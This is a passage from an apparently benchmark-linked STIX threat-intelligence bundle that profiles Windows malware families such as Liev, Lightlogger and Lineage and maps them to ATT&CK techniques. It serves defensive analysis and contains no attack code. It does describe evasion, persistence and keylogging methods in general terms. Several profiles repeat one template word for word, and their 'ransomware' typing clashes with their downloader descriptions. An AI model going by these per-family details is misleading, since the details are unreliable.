      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Liev",
      "description": "Trojan:Win32/Liev is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Liev</b><br>To an end-user, a Liev infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Liev is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Liev is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Liev frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Liev reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Liev",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/liev"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--771f1433-ac10-5a57-abfd-b41c5ca1cbb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980bd91b-a5eb-56f7-ad5e-6ebca0769004",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liev exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a98466b0-a760-5901-96a6-387f5d0c1497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980bd91b-a5eb-56f7-ad5e-6ebca0769004",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liev exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d18859ac-5123-5c9f-a372-951367a07428",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980bd91b-a5eb-56f7-ad5e-6ebca0769004",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liev exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8acc3700-a23e-5173-ba7e-6938e0c4cc21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980bd91b-a5eb-56f7-ad5e-6ebca0769004",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liev exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--261d0984-2141-595a-9d8a-1c7e738d2364",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--980bd91b-a5eb-56f7-ad5e-6ebca0769004",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liev exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b584774-7bca-5894-bcac-ad3d2b14838f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lightlogger",
      "description": "Spyware:Win32/Lightlogger is a commercial keylogger and surveillance application. While marketed to parents for child monitoring or to businesses for employee surveillance, it is frequently classified as malware (Spyware/PUP) because it operates stealthily, can be installed without the user's consent, and is actively abused by malicious actors (such as abusive partners or cybercriminals) to steal credentials and monitor activity (`T1056.001`).<br><br><b>Understanding Lightlogger (Commercial Spyware)</b><br>To an end-user, Lightlogger operates completely invisibly. There are no icons, no taskbar entries, and it actively hides itself from the standard Windows Task Manager. For a security operations center, the presence of Lightlogger is a serious privacy and security violation. It captures every keystroke (including passwords), takes periodic screenshots, and records clipboard data, transmitting this sensitive information to the person who installed it (`T1113`).<br><br><b>Execution and Surveillance Mechanics</b><br>Lightlogger requires local physical access or administrative privileges to install (`T1078`). Once installed, it utilizes API hooking (e.g., `SetWindowsHookEx`) to intercept all keyboard input before it reaches the intended application (`T1056.001`). It establishes persistence via deep registry modifications or as a hidden Windows Service. The captured data (keystrokes, screenshots, application usage) is encrypted and stored locally in hidden log files, and then periodically exfiltrated via email (SMTP), FTP, or a proprietary cloud dashboard controlled by the attacker.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of user privacy and the theft of all credentials entered on the machine. Host-based IoCs include EDR alerts for extensive keyboard hooking (`SetWindowsHookEx`), the presence of the Lightlogger executables (often disguised with generic names in `C:\\ProgramData`), and hidden, rapidly growing log files containing encrypted screenshots and text. Network IoCs include periodic, automated outbound connections via SMTP or HTTP to exfiltrate the logs. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lightlogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lightlogger"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f455fbdd-6270-5f08-b7f7-b28839e82dbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b584774-7bca-5894-bcac-ad3d2b14838f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightlogger exhibits technique T1056.001 (Input Capture: Keylogging (The primary function of the spyware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4705ff3-60ea-54e5-8ec9-6da7a300aa0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b584774-7bca-5894-bcac-ad3d2b14838f",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightlogger exhibits technique T1113 (Screen Capture (Taking periodic screenshots of the user's desktop))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66fd6066-8473-544d-9efe-fe2f760f6767",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b584774-7bca-5894-bcac-ad3d2b14838f",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightlogger exhibits technique T1115 (Clipboard Data (Stealing copied text, often including passwords))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19095878-6dd9-5da6-9744-474d1627bd87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lightmoon",
      "description": "Trojan:Win32/Lightmoon is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lightmoon</b><br>To an end-user, a Lightmoon infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lightmoon is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lightmoon is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lightmoon frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lightmoon reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lightmoon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lightmoon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e3eb17e-0fc1-5931-8a9d-349becd70624",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19095878-6dd9-5da6-9744-474d1627bd87",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightmoon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bef30110-7cf1-552c-a4cd-95303a84e90a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19095878-6dd9-5da6-9744-474d1627bd87",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightmoon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6246e92-8a61-54e0-ab11-a34aae61eadd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19095878-6dd9-5da6-9744-474d1627bd87",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightmoon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce5b30d0-c735-50c2-929c-317ed71edd99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19095878-6dd9-5da6-9744-474d1627bd87",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightmoon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b95d50b6-3073-5143-a7d2-71fd4ec90b2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19095878-6dd9-5da6-9744-474d1627bd87",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightmoon exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3b57478-1961-56b0-ab75-7218b8d923db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lightsee",
      "description": "Trojan:Win32/Lightsee is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Lightsee</b><br>To an end-user, a Lightsee infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Lightsee is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Lightsee is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Lightsee frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Lightsee reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lightsee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lightsee"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--061ffbb5-9012-539c-b373-0ebbc9f1682e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3b57478-1961-56b0-ab75-7218b8d923db",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightsee exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--482ffbce-2d35-5a3c-b61c-2be5676b3497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3b57478-1961-56b0-ab75-7218b8d923db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightsee exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7286af02-ba29-52ba-9c4d-96cd235c92d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3b57478-1961-56b0-ab75-7218b8d923db",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightsee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d47eab34-aa41-5b39-b52f-d592631eae89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3b57478-1961-56b0-ab75-7218b8d923db",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightsee exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d537adac-0abb-5aef-8368-e16f4615e4c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3b57478-1961-56b0-ab75-7218b8d923db",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lightsee exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--179e3da1-652f-5311-bcd5-43781680b4a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Liimpact",
      "description": "Trojan:Win32/Liimpact is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Liimpact</b><br>To an end-user, a Liimpact infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Liimpact is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Liimpact is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Liimpact frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Liimpact reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Liimpact",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/liimpact"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c7aabe8-94f2-5a1e-b3de-d85944d78fb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--179e3da1-652f-5311-bcd5-43781680b4a9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liimpact exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e7c573f-8fdf-5aa4-8526-7a4100a319ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--179e3da1-652f-5311-bcd5-43781680b4a9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liimpact exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c27a666c-a401-5d4a-94a7-f26897c9e7eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--179e3da1-652f-5311-bcd5-43781680b4a9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liimpact exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0de31aa7-c44a-5d68-bc83-cee31149a769",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--179e3da1-652f-5311-bcd5-43781680b4a9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liimpact exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ce03637-07cd-5163-a4c0-a78eb89f64a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--179e3da1-652f-5311-bcd5-43781680b4a9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Liimpact exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--225fdf27-dfee-5ba1-ba29-75d4d846729b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lineage",
      "description": "PWS:Win32/Lineage (Password Stealer) is a highly targeted classification for malware designed specifically to steal credentials, account information, and valuable in-game assets from players of the popular MMORPG (Massively Multiplayer Online Role-Playing Game), 'Lineage' and its sequels. This malware highlights the lucrative nature of virtual economies, where stolen high-level accounts and items can be sold for real-world currency on gray markets (`T1005`).<br><br><b>Understanding Lineage (Game Password Stealers)</b><br>To an end-user, the infection is usually discovered when they find their game account emptied of gold and items, or entirely locked out. For threat analysts, Lineage represents specialized cybercrime. These stealers are highly focused, ignoring typical corporate data (like banking info) in favor of specific game clients, demonstrating the maturity and specialization of malware developers targeting gaming demographics.<br><br><b>Execution and Theft Mechanics</b><br>Lineage stealers are almost exclusively distributed via gaming forums, disguised as game 'cheats', 'bots', 'gold generators', or unofficial patches (`T1566.002`). Upon execution, the malware establishes persistence (Registry Run keys) and actively monitors running processes. When it detects the `lineage.exe` client launching, it utilizes API hooking (e.g., hooking `send()` and `recv()` functions in `ws2_32.dll` or keyboard logging via `SetWindowsHookEx`) to capture the username, password, and session tokens before they are encrypted and sent to the game server (`T1056.001`). This stolen data is then exfiltrated via HTTP/SMTP to the attacker.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is personal financial loss (via virtual assets) and account compromise. Host-based IoCs include unexpected executables running from the `%Temp%` or `%AppData%` directories, often with names mimicking game components or popular cheat tools. EDR may flag anomalous API hooking or keylogging behaviors targeting the game client process. Network IoCs include outbound connections (often SMTP or plain HTTP) transmitting the stolen credentials to unknown IP addresses. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lineage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lineage"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b3f0bb6-39be-52ec-a408-4bf842ea1f85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fdf27-dfee-5ba1-ba29-75d4d846729b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lineage exhibits technique T1056.001 (Input Capture: Keylogging (Capturing keystrokes when the game client is active))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc3e4aba-2fb5-5a85-ab8a-ff25f8185c42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fdf27-dfee-5ba1-ba29-75d4d846729b",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lineage exhibits technique T1005 (Data from Local System (Searching for and stealing local game configuration/session files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3e5e271-16a0-5b1b-b53c-a70e568e101c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--225fdf27-dfee-5ba1-ba29-75d4d846729b",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lineage exhibits technique T1566.002 (Phishing: Spearphishing Link (Distributing via fake game cheats/mods))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3c99ad7e-8ffe-5447-aa88-830a8c58bb6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Linkhortry",
      "description": "<h3>Executive Summary</h3>\nLinkhortry is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLinkhortry is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Linkhortry operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Linkhortry ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Linkhortry receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Linkhortry infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Linkhortry executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Linkhortry frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
